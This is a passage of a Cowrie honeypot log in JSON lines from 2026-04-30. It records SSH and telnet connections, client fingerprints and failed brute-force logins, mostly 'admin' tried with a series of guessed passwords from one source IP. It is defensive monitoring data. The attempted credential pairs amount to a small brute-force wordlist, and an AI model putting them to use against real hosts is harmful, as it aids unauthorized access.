v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:51.994879Z","src_ip":"159.203.92.129","session":"fe9d49016fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"visionlab","message":"login attempt [admin/visionlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:52.004801Z","src_ip":"159.203.92.129","session":"fe9d49016fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:30:53.016827Z","src_ip":"159.203.92.129","session":"fe9d49016fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36344,"dst_ip":"159.203.135.109","dst_port":22,"session":"369f0998a186","protocol":"ssh","message":"New connection: 159.203.92.129:36344 (159.203.135.109:22) [session: 369f0998a186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:31:36.839763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:31:36.844344Z","src_ip":"159.203.92.129","session":"369f0998a186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:31:36.849073Z","src_ip":"159.203.92.129","session":"369f0998a186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"w740925","message":"login attempt [admin/w740925] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:31:36.859953Z","src_ip":"159.203.92.129","session":"369f0998a186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:31:37.869931Z","src_ip":"159.203.92.129","session":"369f0998a186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38380,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ca34c9db539","protocol":"ssh","message":"New connection: 159.203.92.129:38380 (159.203.135.109:22) [session: 0ca34c9db539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:21.676274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:21.680724Z","src_ip":"159.203.92.129","session":"0ca34c9db539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:21.684968Z","src_ip":"159.203.92.129","session":"0ca34c9db539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wLC_MsAU(c8hy2#1HX","message":"login attempt [admin/wLC_MsAU(c8hy2#1HX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:21.736341Z","src_ip":"159.203.92.129","session":"0ca34c9db539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:22.770616Z","src_ip":"159.203.92.129","session":"0ca34c9db539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.0.144","src_port":60023,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a63ae391b85","protocol":"ssh","message":"New connection: 95.215.0.144:60023 (159.203.135.109:22) [session: 9a63ae391b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:24.530092Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:32:24.666666Z","src_ip":"95.215.0.144","session":"9a63ae391b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.121.198","src_port":9033,"dst_ip":"10.17.0.5","dst_port":23,"session":"814b5623c3d7","protocol":"telnet","message":"New connection: 196.191.121.198:9033 (10.17.0.5:23) [session: 814b5623c3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:05.342098Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41564,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f053f077f79","protocol":"ssh","message":"New connection: 159.203.92.129:41564 (159.203.135.109:22) [session: 1f053f077f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:06.159527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:06.164484Z","src_ip":"159.203.92.129","session":"1f053f077f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:06.169622Z","src_ip":"159.203.92.129","session":"1f053f077f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"wd123456","message":"login attempt [admin/wd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:06.182145Z","src_ip":"159.203.92.129","session":"1f053f077f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:07.189480Z","src_ip":"159.203.92.129","session":"1f053f077f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.540657043457031,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:17.882593Z","src_ip":"196.191.121.198","session":"814b5623c3d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.141.163","src_port":53474,"dst_ip":"10.17.0.5","dst_port":22,"session":"b002e07dc233","protocol":"ssh","message":"New connection: 101.126.141.163:53474 (10.17.0.5:22) [session: b002e07dc233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:28.375875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:28.381380Z","src_ip":"101.126.141.163","session":"b002e07dc233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:31.344007Z","src_ip":"101.126.141.163","session":"b002e07dc233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWErty123","message":"login attempt [root/QWErty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:32.087887Z","src_ip":"101.126.141.163","session":"b002e07dc233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:33.322049Z","src_ip":"101.126.141.163","session":"b002e07dc233","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37876,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5919574b5f","protocol":"ssh","message":"New connection: 159.203.92.129:37876 (159.203.135.109:22) [session: 2a5919574b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:50.680609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:50.685070Z","src_ip":"159.203.92.129","session":"2a5919574b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:50.689214Z","src_ip":"159.203.92.129","session":"2a5919574b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"web","message":"login attempt [admin/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:50.699730Z","src_ip":"159.203.92.129","session":"2a5919574b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:33:51.706286Z","src_ip":"159.203.92.129","session":"2a5919574b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53752,"dst_ip":"159.203.135.109","dst_port":22,"session":"69e2617c737b","protocol":"ssh","message":"New connection: 159.203.92.129:53752 (159.203.135.109:22) [session: 69e2617c737b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:34:34.636343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:34:34.641353Z","src_ip":"159.203.92.129","session":"69e2617c737b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:34:34.662215Z","src_ip":"159.203.92.129","session":"69e2617c737b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"web123","message":"login attempt [admin/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:34:34.676100Z","src_ip":"159.203.92.129","session":"69e2617c737b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:34:35.684593Z","src_ip":"159.203.92.129","session":"69e2617c737b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdcdad4f591a","protocol":"ssh","message":"New connection: 159.203.92.129:41474 (159.203.135.109:22) [session: bdcdad4f591a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:17.004069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:35:17.009364Z","src_ip":"159.203.92.129","session":"bdcdad4f591a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-c